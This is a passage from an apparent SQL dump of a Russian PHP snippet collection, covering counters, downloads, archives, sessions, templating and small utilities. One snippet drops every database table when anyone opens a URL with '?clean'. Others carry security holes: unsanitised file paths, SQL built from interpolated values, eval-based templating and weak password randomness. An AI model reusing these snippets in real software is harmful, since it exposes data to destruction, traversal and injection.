файла if (is_file(\'counter.png\')) $img = ImageCreateFromPNG(\'counter.png\'); else $img=imagecreatetruecolor(88, 31); // Назначаем черный цвет $black = ImagecolorAllocate($im,0,0,0); // Выводим счет на изображение Imagestring($img,1,5,20,$count,$black); // Выводим изображение в стандартный поток вывода Header(&quot;Content-type: image/png&quot;); ImagePng($img);?&gt;','files_5540_1797_',151),(159,14,'Запрет скачки Поссылкам из других сайтов!','Очень неприятно, когда замечаешь, что трафик твоего сайта растет, а посетителей не прибавляется. И тут замечаешь, что &quot;добрые люди&quot; ставят ссылки на своих сайтах не на твою статью на твоем сайте, а непосредственное на твои файлы для скачивания. Вот от таких добрых людей и хочется сделать защиту. Она конечно не совершенна, но от простых ссылок непорядочных людей, ворующих контент очень эфективна.','&lt;?php/*Защита файлов от скачивания по ссылкам с чужих сайтов ссылка на скачивание выглядит так:http://example.com/antileech.php?down=4 &lt;-- номер файлаили http://example.com/antileech.php?down=filename &lt;-- имя файла*/// Настройки$antiurl = &quot;htmlweb.ru&quot;; // Разрешённый сайт (referer).$antidir = $_SERVER[\'DOCUMENT_ROOT\'].&quot;/download/&quot;; // Папка где находятся защищённые от скачивания файлы$logfile = &quot;log.htm&quot;; // Файл протокола (должен быть html или htm и обязательно CHMOD 777.if (isset($logfile)) {if (!file_exists($logfile)) die(&quot;Файл &lt;font color=\'red\'&gt;&lt;b&gt;$logfile&lt;/b&gt;&lt;/font&gt; не найден!&quot;);if (!is_writable($logfile)) die(&quot;Для файла&lt;font color=\'red\'&gt;&lt;b&gt;$logfile&lt;/b&gt;&lt;/font&gt; нужно зделать CHMOD 777!&quot;);if ($_SERVER[\'HTTP_REFERER\'] == &quot;&quot;)$cnr_data = &quot;[не известно]&quot;; else $cnr_data = &quot;&lt;a href=&quot;&quot; . $_SERVER[\'HTTP_REFERER\'] . &quot;&quot;&gt;&quot; . $_SERVER[\'HTTP_REFERER\'] . &quot;&lt;/a&gt;&quot;;$cnr_data = &quot;&lt;font color=&quot;green&quot;&gt;&quot;.$_SERVER[\'REMOTE_ADDR\'].&quot;&lt;/font&gt; HOST &lt;font color=&quot;red&quot;&gt;&quot;.gethostbyaddr($_SERVER[\'REMOTE_ADDR\']).&quot;&lt;/font&gt; visited on &quot;.date(&quot;l d F H:i:s&quot;).&quot; ссылка с &quot;.$cnr_data.&quot;&lt;br&gt;&quot;;@file_put_contents($_SERVER[\'DOCUMENT_ROOT\'].$logfile, $cnr_data, FILE_APPEND);}// Проверка реферераif (!stristr($_SERVER[&quot;HTTP_REFERER&quot;], $antiurl) or !isset($_SERVER[&quot;HTTP_REFERER&quot;])) die(\'&lt;h1&gt;Файл по указанной ссылке не доступен!&lt;/h1&gt;\');if (is_numeric($_GET[&quot;down&quot;])){// Здесь идут файлы для скачивания пономерам if ($_GET[&quot;down&quot;] == 1) $filename = &quot;test1.rar&quot;; elseif ($_GET[&quot;down&quot;] == 2) $filename = &quot;test2.rar&quot;; elseif ($_GET[&quot;down&quot;] == 3) $filename = &quot;test3.rar&quot;;}else $filename = $_GET[&quot;down&quot;];$path = $antidir . $filename; // Полная ссылка на файл// Проверка файла есть он или нетif (!file_exists($path)){ header(&quot;HTTP/1.0 404 Not Found&quot;); die(&quot;Файл \'$filename\' не существует!&quot;);}$ftime = date(&quot;D, d M Y H:i:s T&quot;, filemtime($path));// Проверкаif (strstr($_SERVER[&quot;HTTP_REFERER&quot;], $antiurl)) { if (isset($_GET[\'down\']) &amp;&amp; isset($filename)) { $fsize = filesize($path); $ftime = date(&quot;D, d M Y H:i:s T&quot;, filemtime($path)); $fd = @fopen($path, &quot;rb&quot;); if (!$fd){header (&quot;HTTP/1.0 403 Forbidden&quot;);exit; } if ($HTTP_SERVER_VARS[&quot;HTTP_RANGE&quot;]) { // докачка $range = $HTTP_SERVER_VARS[&quot;HTTP_RANGE&quot;]; $range = str_replace(&quot;bytes=&quot;, &quot;&quot;, $range); $range = str_replace(&quot;-&quot;, &quot;&quot;, $range); if ($range) {fseek($fd, $range);} } $content = fread($fd, filesize($path)); fclose($fd); if ($range) header(&quot;HTTP/1.1 206 Partial Content&quot;); else header(&quot;HTTP/1.1 200 OK&quot;); header(&quot;Content-Disposition: attachment; filename=&quot; . basename($path)); header(&quot;Last-Modified: $ftime&quot;); header(&quot;Accept-Ranges: bytes&quot;); header(&quot;Content-Length: &quot;.($fsize-$range)); header(&quot;Content-Range: bytes $range-&quot;.($fsize -1).&quot;/&quot;.$fsize); header(&quot;Content-type: application/octet-stream&quot;); print $content; exit;} else die(&quot;Недействительный файл.&quot;);}?&gt;','files_3349_2633_',151),(160,14,'Обрезка текста','Обрезка текста','// уберём все html элементы:$string = strip_tags($string);// обрежем его на определённое количество символов:$string = substr($string, 0, 200);// удалим в конце текста восклицательй знак, запятую, точку или тире:$string = rtrim($string, &quot;!,.-&quot;);// находим последний пробел, устраняем его и ставим троеточие:$string = substr($string, 0, strrpos($string, \' \'));echo$string.&quot;&amp;#8230;&quot;;','files_2509_5496_',151),(161,14,'Удаляем старые файлы!','Код удаляет устаревшие файлы!','&lt;?php$files = glob(\'imagecache/*\', GLOB_BRACE);usort($files, \'filemtime_compare\');function filemtime_compare($a, $b){ return filemtime($a) - filemtime($b);}$i = 0;$show = 1000;$today = mktime(date(\'h,i,s,m,d,Y\'));$onemonth = $today-47645;foreach($files as $file){ if($i == $show) break; else ++$i; $fileunixtime = filemtime($file); if ($fileunixtime &lt;= $onemonth) unlink($file);}?&gt;','files_2614_5534_',151),(162,14,'Подсчет размера файлов в директориях и в поддиректориях.','ВведениеПредположим что вам нужно подсчитать размер всех файлов начиная с текущей директории, получить их число и количество вложенный поддиректорий. Подобные задачи решаться применением рекурсии - то есть обращения из функции к самой себе.Решение задачиБлагодаря способности PHP выполнять рекурсивные запросы к функциям (а также к методам классов) стало возможным решить платформо - независимую задачу подсчета размера файлов в директориях.Приведем пример класса на php решающего задачу подсчета размера всех файлов вложенный в директорию и в поддиректории:','&lt;?phpclass calc_dir{var $a_fname=array();var $a_fsize=array();var $a_fdir =array();var $cofiles;function init(){$this-&gt;cofiles=0;}function calc_files($in_dir){#Так можно отсечь нежелательные имена файлов#if (preg_match(&quot;/_vti[.]*/i&quot;,$in_dir))return;if ($dir_handle = @opendir($in_dir)){ while($file = readdir($dir_handle)) { //Рекурсивный проход по директориям if ($file!=&quot;..&quot; &amp;&amp; $file!=&quot;.&quot; &amp;&amp; is_dir($file)) $this-&gt;calc_files($in_dir.&quot;/&quot;.$file); //Проход по файлам if (is_file($in_dir.&quot;/&quot;.$file) &amp;&amp; $file!=&quot;..&quot; &amp;&amp; $file!=&quot;.&quot;) { $this-&gt;a_fname[$this-&gt;cofiles]=$file; $this-&gt;a_fsize[$this-&gt;cofiles]=filesize ($in_dir.&quot;/&quot;.$file); $this-&gt;a_fdir [$this-&gt;cofiles]=$in_dir; $this-&gt;cofiles++; } }}}function show(){echo &quot;&lt;center&gt;&lt;table border=&quot;1&quot;&gt;&lt;tr align=&quot;center&quot;&gt; &lt;td&gt;i&lt;/td&gt;&lt;td&gt;name&lt;/td&gt;&lt;td&gt;size&lt;/td&gt;&lt;td&gt;dir&lt;/td&gt;&lt;/tr&gt;&quot;;$a_size=0;for ($i=0;$i&lt;count($this-&gt;a_fname);$i++){echo &quot;&lt;tr align=&quot;center&quot;&gt;&lt;td&gt;&quot;.($i+1).&quot;&lt;/td&gt;&lt;td&gt;&quot;.$this-&gt; a_fname[$i].&quot;&lt;/td&gt;&lt;td&gt;&quot;.$this-&gt;a_fsize[$i].&quot;&lt;/td&gt;&lt;td&gt; &quot;.$this-&gt;a_fdir[$i].&quot;&lt;/td&gt;&lt;/tr&gt;&quot;;$a_size+=$this-&gt;a_fsize[$i];}echo &quot;&lt;tr&gt;&lt;td colspan=&quot;2&quot;&gt;Total:&lt;/td&gt;&lt;td colspan=&quot;2&quot;&gt;$a_size&lt;/td&gt;&lt;/tr&gt;&quot;;echo &quot;&lt;/table&gt;&lt;/center&gt;&quot;;}}//end class$d=new calc_dir;$d-&gt;init();$d-&gt;calc_files(&quot;C:/windows/command/&quot;);$d-&gt;show();?&gt;','files_4603_3239_',151),(163,14,'Вычисление факториала числа','Вычисление факториала числа','&lt;? $x = 10; // Число которое нужно вычислить if ($x &lt; 0) $f = &quot;Факториал числа &lt;b&gt;$x&lt;/b&gt; не существует&quot;; else { $f = 1; if ($x &gt; 0) for ($i = 1; $i &lt;= $x; $i++) $f *= $i; } echo $f; ?&gt;','files_1736_2908_',151),(164,14,'работа с Rar','работа с Rar','&lt;?php// Открываем архив$resource=rar_open(\'file.rar\',\'пароль\');if(!$resource){exit(\'Невозможно открыть архив\');}// Список файлов$fileList=rar_list($resource);foreach($fileListas$file){echo\'Имя файла \'.$file-&gt;getName().&quot;&lt;br /&gt;n&quot;;echo\'Размер в архиве \'.$file-&gt;getPackedSize().&quot;&lt;br /&gt;n&quot;;echo\'Размер после распаковки \'.$file-&gt;getUnpackedSize().&quot;&lt;br /&gt;&lt;br /&gt;n&quot;;// Распакуем каждый файл$file-&gt;extract(\'/destination/dir/\');}// Закроем архивrar_close($rar_file);','files_2219_2298_',151),(165,14,'Подсчет возраста','полезен для соц сетей','function age($day, $mouth, $year){ $age = date(\'Y\') - $year; $_m = date(\'m\'); if($_m &lt; $mouth || ($_m == $mouth &amp;&amp;date(\'d\') &lt; $day)) $age--; return $age;','files_3642_2346_',151),(166,14,'Проверка ffmpeg','проверка на\r\nсуществование на сервере плагина\r\nffmpeg','&lt;?php [php] if(extension_loaded (\'ffmpeg\')){ echo \'Расширение ffmpeg поддержавается!\'; }else{ echo \'Pасширение ffmpeg не поддержавается!\'; } ?&gt;','files_5610_2617_',151),(167,14,'Удаляем все таблицы из БД','перейдите по ваш_сайт.ру/?clean','if (isset($_GET[\'clean\'])) { $tab=mysql_query(\'SHOW TABLES FROM \'.$set[\'mysql_db_name\']); for($i=0;$i&lt;mysql_num_rows($tab);$i++) { mysql_query(&quot;DROP TABLE `&quot;.mysql_tablename($tab,$i).&quot;`&quot;); } }','files_4254_4192_',151),(168,14,'Шаблонизатор от DLE','Вот решил выложить на мой взгляд очень полезную штуку) шаблонизатор скрученный с ДЛЕ, но немного изменен, думаю многим должно помочь в написании своей CMS ну и т.д ))\r\nЧто можно сказать о его возможностях!?\r\nВозможность добавлять php код в tpl, вывод переменных такого типа : {.....}\r\nНу а дальше я думаю разберитесь','Код index.php =) &lt;? include(&quot;templates.class.php&quot;); //подключение class  $tpl = new Template; //инициируем класс $tpl-&gt;dir = \'template/\'; //задаём местоположение папки с шаблонами $tpl-&gt;load_template(\'main.tpl\'); //загружаем каркас $tpl-&gt;set(\'{sub_templ}\', $tpl-&gt;sub_load_template(\'sub.tpl\')); //подключаем код блока  //подставляем значения переменных $tpl-&gt;set(\'{var1}\', \'блок2\'); $tpl-&gt;set(\'{var2}\', \'блок3\');  $tpl-&gt;compile(\'main\'); //собираем шаблон eval (\' ?\' . \'&gt;\' . $tpl-&gt;result[\'main\'] . \'&lt;\' . \'?php \'); //выводим результат работы, с возможностью вставки пхп кода в tpl $tpl-&gt;global_clear(); //очищаем все переменные для возможно следующего шаблона  ?&gt;   Код templates.class.php  PHP код: &lt;?php  class Template {  public $dir = \'.\'; public $template = null; public $copy_template = null; public $data = array(); public $block_data = array(); public $result = array(\'info\' =&gt; \'\', \'content\' =&gt; \'\'); public $template_parse_time = 0;  //задаём параметры основных переменных подгрузки шаблона  public function set($name , $var) { if (is_array($var) &amp;&amp; count($var)) { foreach ($var as $key =&gt; $key_var) { $this-&gt;set($key , $key_var); } } else $this-&gt;data[$name] = $var; }  //обозначаем блоки  public function set_block($name , $var) { if (is_array($var) &amp;&amp; count($var)) { foreach ($var as $key =&gt; $key_var) { $this-&gt;set_block($key , $key_var); } } else $this-&gt;block_data[$name] = $var; }  //производим загрузку каркасного шаблона  public function load_template($tpl_name) { $time_before = $this-&gt;get_real_time(); if ($tpl_name == \'\' || !file_exists($this-&gt;dir . DIRECTORY_SEPARATOR . $tpl_name)) { die (&quot;Невозможно загрузить шаблон: &quot;. $tpl_name); return false;} $this-&gt;template = file_get_contents($this-&gt;dir . DIRECTORY_SEPARATOR . $tpl_name); if ( stristr( $this-&gt;template, &quot;{include file=&quot; ) ) { $this-&gt;template = preg_replace( &quot;#\\{include file=[\'&quot;](.+?)[\'&quot;]\\}#ies&quot;,&quot;$this-&gt;sub_load_template(\'\\1\')&quot;, $this-&gt;template); } $this-&gt;copy_template = $this-&gt;template; $this-&gt;template_parse_time += $this-&gt;get_real_time() - $time_before; return true; }  // этой функцией загружаем &quot;подшаблоны&quot;  public function sub_load_template($tpl_name) { if ($tpl_name == \'\' || !file_exists($this-&gt;dir . DIRECTORY_SEPARATOR . $tpl_name)) { die (&quot;Невозможно загрузить шаблон: &quot;. $tpl_name); return false;} $template = file_get_contents($this-&gt;dir . DIRECTORY_SEPARATOR . $tpl_name); return $template; }  // очистка переменных шаблона public function _clear() { $this-&gt;data = array(); $this-&gt;block_data = array(); $this-&gt;copy_template = $this-&gt;template; }  public function clear() { $this-&gt;data = array(); $this-&gt;block_data = array(); $this-&gt;copy_template = null; $this-&gt;template = null; } //полная очистка включая результаты сборки шаблона public function global_clear() { $this-&gt;data = array(); $this-&gt;block_data = array(); $this-&gt;result = array(); $this-&gt;copy_template = null; $this-&gt;template = null; } //сборка шаблона в единое целое public function compile($tpl) { $time_before = $this-&gt;get_real_time(); foreach ($this-&gt;data as $key_find =&gt; $key_replace) { $find[] = $key_find; $replace[] = $key_replace; } $result = str_replace($find, $replace, $this-&gt;copy_template); if (count($this-&gt;block_data)) { foreach ($this-&gt;block_data as $key_find =&gt; $key_replace) { $find_preg[] = $key_find; $replace_preg[] = $key_replace; } $result = preg_replace($find_preg, $replace_preg, $result); } if (isset($this-&gt;result[$tpl])) $this-&gt;result[$tpl] .= $result; else $this-&gt;result[$tpl] = $result; $this-&gt;_clear(); $this-&gt;template_parse_time += $this-&gt;get_real_time() - $time_before; } //счётчик времени выполнения запросов сборки public function get_real_time() { list($seconds, $microSeconds) = explode(\' \', microtime()); return ((float)$seconds + (float)$microSeconds); } }  ?&gt;','files_3758_1458_',151),(169,14,'Просмотр архива в rar','Простейший листинг RAR-архива','&lt;?php function sizer($s) { $o=1; while($s&gt;1024) { $s = round($s / 1024, 1); $o++; } switch($o) { case(1): $o=\'b\'; break; case(2): $o=\'Kb\'; break; case(3): $o=\'Mb\'; break; case(4): $o=\'Gb\'; break; } return $s.$o; } $filepath = \'test.rar\'; $rar = rar_open($filepath) or die(\'Ошибка открытия RAR архива\'); $list = rar_list($rar); $c = count($list); echo\'Обьектов: \'.$c.\'&lt;hr/&gt;\'; for($i = 0; $i&lt;$c; $i++) { echo $list[$i]-&gt;name.\' [\'.sizer($list[$i]- &gt;unpacked_size).\'/\'.sizer($list[$i]- &gt;packed_size).\']&lt;br/&gt;\'; } rar_close($rar); ?&gt;','files_3664_4569_',151),(170,14,'Зашифровано ли соединение (https)','Хороший вопрос. Этот удобный фрагмент может дать Вам ответ. Ничего сложного','if ($_SERVER[\'HTTPS\'] != &quot;on&quot;) {    echo &quot;This is not HTTPS&quot;; }else{    echo &quot;This is HTTPS&quot;; }','files_3002_3131_',151),(171,14,'Показать исходный код любой веб-страниц','Хотите отображать исходный код любой веб-страницы, с нумерацией строк? Вот фрагмент кода, чтобы реализовать это. Просто измените URL в первой строке на нужный Вам','$lines = file(\'http://google.com/\'); foreach ($lines as $line_num =&gt; $line) {    // Делим на строки и нумеруем    echo &quot;Line #&lt;b&gt;{$line_num}&lt;/b&gt; : &quot; . htmlspecialchars($line) . &quot;&lt;br&gt;n&quot;; }','files_1867_2991_',151),(172,14,'Определитель Места по IP','Вот полезный фрагмент кода для определения расположения конкретного IP. Ниже функция принимает один IP в качестве параметра, и возвращает местоположение IP. Если местоположение не найдено, возвращается UNKNOWN.','function detect_city($ip) {         $default = \'UNKNOWN\';          if (!is_string($ip) || strlen($ip) &lt; 1 || $ip == \'127.0.0.1\' || $ip == \'localhost\')             $ip = \'8.8.8.8\';          $curlopt_useragent = \'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)\';          $url = \'http://ipinfodb.com/ip_locator.php?ip=\' . urlencode($ip);         $ch = curl_init();          $curl_opt = array(             CURLOPT_FOLLOWLOCATION  =&gt; 1,             CURLOPT_HEADER      =&gt; 0,             CURLOPT_RETURNTRANSFER  =&gt; 1,             CURLOPT_USERAGENT   =&gt; $curlopt_useragent,             CURLOPT_URL       =&gt; $url,             CURLOPT_TIMEOUT         =&gt; 1,             CURLOPT_REFERER         =&gt; \'http://\' . $_SERVER[\'HTTP_HOST\'],         );          curl_setopt_array($ch, $curl_opt);          $content = curl_exec($ch);          if (!is_null($curl_info)) {             $curl_info = curl_getinfo($ch);         }          curl_close($ch);          if ( preg_match(\'{&lt;li&gt;City : ([^&lt;]*)&lt;/li&gt;}i\', $content, $regs) )  {             $city = $regs[1];         }         if ( preg_match(\'{&lt;li&gt;State/Province : ([^&lt;]*)&lt;/li&gt;}i\', $content, $regs) )  {             $state = $regs[1];         }          if( $city!=\'\' &amp;&amp; $state!=\'\' ){           $location = $city . \', \' . $state;           return $location;         }else{           return $default;         }      }','files_2260_3916_',151),(173,14,'Авто. создание пароля','Хотя я лично предпочитаю оставить пользователям возможность выбирать свой пароль самим, но для тех кто считает, что автоматическое создание предпочтительней следующий скрипт.\r\nСледующая функция является гибкой для создания пароля: Вы можете выбрать желаемую длину и силу для пароля.','// Устанавливаем параметры и генерируем пароль // $length - длина пароля, $strength - сила пароля function generatePassword($length=9, $strength=8) {  $vowels = \'aeuy\';  $consonants = \'bdghjmnpqrstvz\';  if ($strength &gt;= 1) {  $consonants .= \'BDGHJLMNPQRSTVWXZ\';  }  if ($strength &gt;= 2) {  $vowels .= &quot;AEUY&quot;;  }  if ($strength &gt;= 4) {  $consonants .= \'23456789\';  }  if ($strength &gt;= 8 ) {  $vowels .= \'@#$%\';  } // Генерируем пароль  $password = \'\';  $alt = time() % 2;  for ($i = 0; $i &lt; $length; $i++) {  if ($alt == 1) {  $password .= $consonants[(rand() % strlen($consonants))];  $alt = 0;  } else {  $password .= $vowels[(rand() % strlen($vowels))];  $alt = 1;  }  }  return $password; } echo generatePassword();','files_2755_3211_',151),(175,14,'Отправка SMS с использованием PHP TextMagic AP','Кароче покопался я в компе и нашел несколько кодов) Надеюсь они будут каму то полезно.\r\n\r\nЕсли по какой-то причине, Вы должны отправлять SMS своим клиентам на телефоны, Вам обязательно надо ознакомиться с сервисом TextMagic.  TextMagic обеспечивают легкий API, которые позволяют отправлять SMS на сотовые телефоны. TextMagic работает с российскими сотовыми операторами, что не мало важно, их перечь можно найти на сайте TextMagic. Услуги  являются платными, в среднем 1 SMS обходится в 2рубля.\r\n\r\nПример кода ниже показывает, как легко можно отправить SMS на мобильный телефон с использованием TextMagic API','// Подключаем библиотеку TextMagic require(\'textmagic-sms-api-php/TextMagicAPI.php\');  // Устанавливаем свой логин и пароль в системе $username = \'myusername\'; $password = \'mypassword\'; $router = new TextMagicAPI(array(    \'username\' =&gt; $username,    \'password\' =&gt; $password ));  // Отправляем SMS на номер \'999-123-4567\' $result = $router-&gt;send(\'Wake up!\', array(9991234567), true);  // result:  Result is: Array ( [messages] =&gt; Array ( [19896128] =&gt; 9991234567 ) [sent_text] =&gt; Wake up! [parts_count] =&gt; 1 )','files_2872_4059_',151),(176,14,'Браузер и ip','Браузер и ip','&lt;?php  $brauser=htmlspecialchars(stripslashes($_SERVER[\'HTTP_USER_AGENT\']));  $ip=htmlspecialchars(stripslashes($_SERVER[\'REMOTE_ADDR\']));  echo&quot;  Ваш браузер $brauser  &lt;br&gt;  Ваш ip $ip  &quot;;  ?&gt;','files_4562_4785_',151),(177,14,'Скрипт &quot;Список посетителей OnLine&quot;','Часто на сайтах можно видите фразу, сейчас данный сайт просматривает столько-то человек, или даже список зарегистрированных посетителей, находящихся в данным момент на сайте. Обычно такой сервис называют &quot;Список посетителей OnLine&quot;. Учитывая, что у посетителя может динамически меняться IP-адрес, или наоборот несколько посетителей могут выходить в Интернет из под одного IP-адреса, для подсчёта уникальных посетителей на сайте прибегают к сессиям. Создадим таблицу session в которой будем хранить уникальные идентификаторы сессии (SID), назначенные посетителям.','Таблица session  [code]  CREATE TABLE session ( id_session tinytext NOT NULL, putdate datetime NOT NULL default \'0000-00-00 00:00:00\', user tinytext NOT NULL ) TYPE=MyISAM;  [/code]  Таблица имеет три поля - id_session, поле, куда помещается SID сессии, поле putdate, для того, хранения времени обращения посетителя к страницам сайта и поле user, которое нами использоваться не будет, но в котором можно хранить имя пользователя, если у вас имеется система авторизации и вы хотите различать гостей и авторизованных пользователей. Предполагается, что имя пользователя помещается в элемент суперглобального массива $_SESSION[\'user\'] - если вас интересует авторизация на PHP, с нейм можно ознакомиться по ссылке  В начало каждой страницы сайта, которая будет участвовать в регистрации посетителей следует при помощи конструкции require_once() поместить следующий код.       Скрипт регистрации посетителей в таблице session  [code]  &lt;?php // Начинаем сессию session_start(); // Получаем уникальный id сессии $id_session = session_id(); // Устанавливаем соединение с базой данных include &quot;config.php&quot;; // Проверяем, присутствует ли такой id в базе данных $query = &quot;SELECT * FROM session WHERE id_session = \'$id_session\'&quot;; $ses = mysql_query($query); if(!$ses) exit(&quot;&lt;p&gt;Ошибка в запросе к таблице сессий&lt;/p&gt;&quot;); // Если сессия с таким номером уже существует, // значит пользователь online - обновляем время его // последнего посещения if(mysql_num_rows($ses)&gt;0) { $query = &quot;UPDATE session SET putdate = NOW(), user = \'$_SESSION[user]\' WHERE id_session = \'$id_session\'&quot;; mysql_query($query); } // Иначе, если такого номера нет - посетитель только что // вошёл - помещаем в таблицу нового посетителя else { $query = &quot;INSERT INTO session VALUES(\'$id_session\', NOW(), \'$_SESSION[user]\')&quot;; if(!mysql_query($query)) { echo $query.&quot;&lt;br&gt;&quot;; echo &quot;&lt;p&gt;Ошибка при добавлении пользователя&lt;/p&gt;&quot;; exit(); } } // Будем считать, что пользователи, которые отсутствовали // в течении 20 минут - покинули ресурс - удаляем их // id_session из базы данных $query = &quot;DELETE FROM session WHERE putdate &lt; NOW() - INTERVAL \'20\' MINUTE&quot;; mysql_query($query); ?&gt;  [/code] Протокол HTTP не является сессионным протоколом, поэтому мы можем фиксировать только обращения посетителей к страницам сайта - сколько после этого посетитель будет читать страницу - одному богу известно - получить эту информацию мы не сможем. Поэтому мы будем считать, что если посетиель не обращается к страницам сайта более 20 минут - он ушёл и его можно удалять из таблицы session.  Теперь нам остаётся только вывести содержимое таблицы session или подсчитать число посетителей в ней.                  Выводим содержимое таблицы session [code]&lt;?php // Устанавливаем соединение с базой данных include &quot;config.php&quot;; // Выводим имена всех посетителей, записи о которых имеются // в таблице session $query = &quot;SELECT * FROM session&quot;; $ath = mysql_query($query); if(!$ath) exit(&quot;&lt;p&gt;Ошибка в запросе к таблице сессий&lt;/p&gt;&quot;); // Если хоть кто-то есть - выводим таблицу if(mysql_num_rows($ath)&gt;0) { echo &quot;&lt;table&gt;&quot;; while($author = mysql_fetch_array($ath)) { // Если посетитель не зарегистрирован // выводим вместо его имени - &quot;аноним&quot; if(empty($author[\'user\'])) echo &quot;&lt;tr&gt;&lt;td&gt;аноним&lt;/td&gt;&lt;/tr&gt;&quot;; else echo &quot;&lt;tr&gt;&lt;td&gt;&quot;.$author[\'user\'].&quot;&lt;/td&gt;&lt;/tr&gt;&quot;; } echo &quot;&lt;/table&gt;&quot;; } ?&gt;[/code]  Для установки соединения с базой данных, нам потребуется конфигурационный файл config.php, следующего содержания.                        Конфигурационный файл config.php [code]&lt;?php //////////////////////////////////////////////////////////// // 2003-2011 (C) IT-студия SoftTime (http://www.softtime.ru) //////////////////////////////////////////////////////////// // сейчас выставлен сервер локальной машины $dblocation = &quot;localhost&quot;; // Имя базы данных, на хостинге или локальной машине $dbname = &quot;dbase&quot;; // Имя пользователя базы данных $dbuser = &quot;root&quot;; // и его пароль $dbpasswd = &quot;&quot;;  // Устанавливаем соединение с базой данных $dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd); if (!$dbcnx) { exit( &quot;&lt;P&gt;В настоящий момент сервер базы данных не доступен, поэтому корректное отображение страницы невозможно.&lt;/P&gt;&quot; ); } // Выбираем базу данных if (! @mysql_select_db($dbname,$dbcnx) ) { exit( &quot;&lt;P&gt;В настоящий момент база данных не доступна, поэтому корректное отображение страницы невозможно.&lt;/P&gt;&quot; ); }  // Устанавливаем кодировку соединения @mysql_query(&quot;SET NAMES \'cp1251\'&quot;); ?&gt; [/code]','files_5236_5561_',151),(178,14,'Определение браузеров','Определение браузеров','&lt;?php $useragent=$_SERVER[\'HTTP_USER_AGENT\']; if(preg_match(\'/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows (ce|phone)|xda|xiino/i\',$useragent)||preg_match(\'/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i\',substr($useragent,0,4))) header(\'Location: http://site.ru\'); ?&gt;','files_4788_4786_',151),(179,14,'Оператор эквивалентности PHP','Оператор эквивалентности PHP','if ($var_1 === $var_2) echo &quot;Переменные равны&quot;; else echo &quot;Переменные не равны&quot;; ?&gt; ---  Результатом выполнения скрипта будет вывод строки: &quot;Переменные не равны&quot;, чего мы с Вами и добивались. То есть значения переменных равны, но их типы не совпадают (одна переменная integer, а другая string), поэтому оператор эквивалентности вернул false и отправил нас в блок else, где мы и вывели соответствующую строку. Разумеется, у Вас впереди будет ещё много ошибок, связанных с преобразованием типов, так как подобных нюансов действительно очень много, но со временем Вы научитесь использовать оператор эквивалентности, и ошибок определённо станет меньше.','files_3056_1905_',151),(180,14,'Редирект с задержкой','Заголовки функцией header нужно\r\nотправлять до любого вывода текста в\r\nбраузер! Даже перед &lt;?php не должно быть\r\nпробелов!','&lt;?php header( \'Refresh: 3; URL=http: //sitear.ru\' ); echo \'Через 3 сек. вы будете перенаправлены на новую страницу.\' ; exit; ?&gt;','files_2673_5563_',151),(181,14,'Пишем простую игру на PHP','Написал обучающий урок для своего сообщества, по созданию простой игры на PHP.\r\nИгра называется &quot;Угадай число&quot;, от вас требуется угадать число которое задумала для вас игра,\r\nдиапазон от 0 до 50.\r\nВот решил выложить сюда.','&lt;?php $msg = &quot;Угадайте число в диапазоне от 0 до 50!&quot;;  if (isset($_POST[&quot;guess&quot;])) {  $number = $_POST[&quot;number&quot;]; //В переменную $number записываем данные полученные из текстового поля с именем number  $hidden_number = $_POST[&quot;hidden_number&quot;]; //В переменную $hidden_number записываем данные полученные из скрытого поля с именем $hidden_number  if ($number &lt; $_POST[&quot;hidden_number&quot;]) { //Если число из текстового поля меньше загаданного числа, то выводим сообщение $msg = &quot;Загаданое число больше $number&quot;; }  elseif ($number &gt; $_POST[&quot;hidden_number&quot;]) { //Если число из 